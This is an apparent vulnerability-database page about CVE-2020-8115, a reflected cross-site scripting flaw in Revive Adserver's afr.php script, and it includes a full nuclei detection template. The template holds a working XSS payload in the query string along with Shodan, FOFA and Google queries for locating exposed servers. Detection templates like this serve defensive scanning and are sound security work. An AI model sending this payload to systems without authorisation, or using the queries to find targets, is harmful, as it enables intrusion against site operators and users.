HexBrain

Browse / CVEs / CVE-2020-8115

CVE-2020-8115· revive-adserver / revive adserver· CWE-79

Revive Adserver <=5.0.3 - Cross-Site Scripting

mediumseverity
6.1CVSS score
7%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.

How to confirm it

Send: GET {{BaseURL}}/www/delivery/afr.php?refresh=10000&")',10000000);alert(1337);setTimeout('alert("
Positive when: matches /(?mi)window\.location\.replace\(".*alert\(1337\)/ AND not contains "window.location.href.indexOf" AND status 200

Run it with nuclei: nuclei -id CVE-2020-8115 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-8115

info:
  name: Revive Adserver <=5.0.3 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: |
    Revive Adserver 5.0.3 and prior contains a reflected cross-site scripting vulnerability in the publicly accessible afr.php delivery script. In older versions, it is possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script is printed back without proper escaping, allowing an attacker to execute arbitrary JavaScript code on the browser of the victim.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: There are currently no known exploits. As of 3.2.2, the session identifier cannot be accessed as it is stored in an http-only cookie.
  reference:
    - https://hackerone.com/reports/775693
    - https://www.revive-adserver.com/security/revive-sa-2020-001/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8115
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-8115
    cwe-id: CWE-79
    epss-score: 0.06978
    epss-percentile: 0.94191
    cpe: cpe:2.3:a:revive-adserver:revive_adserver:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: revive-adserver
    product: revive_adserver
    shodan-query:
      - http.title:"revive adserver"
      - http.favicon.hash:106844876
    fofa-query:
      - icon_hash=106844876
      - title="revive adserver"
    google-query: intitle:"revive adserver"
  tags: cve,cve2020,xss,hackerone,revive-adserver,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\""

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)window\.location\.replace\(".*alert\(1337\)

      - type: word
        part: body
        words:
          - window.location.href.indexOf
        negative: true

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from